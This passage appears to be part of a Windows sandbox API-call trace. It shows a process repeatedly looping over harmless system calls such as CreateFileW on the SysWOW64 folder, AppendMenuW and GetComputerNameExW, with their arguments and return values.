	[0050.534] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.535] SetErrorMode (uMode=0x1) returned 0x1
	[0050.535] GetLogicalDrives () returned 0x4
	[0050.535] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.535] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.535] AppendMenuW (hMenu=0x0, uFlags=0x80d1291c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.535] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.535] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.535] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.535] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.535] SetErrorMode (uMode=0x1) returned 0x1
	[0050.535] GetLogicalDrives () returned 0x4
	[0050.535] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.535] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.536] AppendMenuW (hMenu=0x0, uFlags=0x80d203a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.536] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.536] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.536] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.536] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.536] SetErrorMode (uMode=0x1) returned 0x1
	[0050.536] GetLogicalDrives () returned 0x4
	[0050.536] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.536] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.536] AppendMenuW (hMenu=0x0, uFlags=0x80d3055c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.536] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.536] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.536] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.536] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.536] SetErrorMode (uMode=0x1) returned 0x1
	[0050.536] GetLogicalDrives () returned 0x4
	[0050.536] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.536] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.537] AppendMenuW (hMenu=0x0, uFlags=0x80d3dfe8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.537] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.537] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.537] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.537] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.537] SetErrorMode (uMode=0x1) returned 0x1
	[0050.537] GetLogicalDrives () returned 0x4
	[0050.537] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.537] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.537] AppendMenuW (hMenu=0x0, uFlags=0x80d4e19c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.537] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.537] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.537] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.537] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.537] SetErrorMode (uMode=0x1) returned 0x1
	[0050.537] GetLogicalDrives () returned 0x4
	[0050.538] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.538] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.538] AppendMenuW (hMenu=0x0, uFlags=0x80d5bc28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0052.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.109] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.109] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.110] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.110] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.110] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.110] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.110] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.110] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.111] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.112] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.113] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.114] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.114] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.114] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.114] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.114] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.114] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.115] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.116] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.117] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.118] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.118] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.118] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.118] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.118] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.118] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.118] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.118] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.119] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.119] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.119] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.119] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.119] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.119] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.119] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.120] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.120] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.120] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.120] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.120] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0052.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0052.120] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
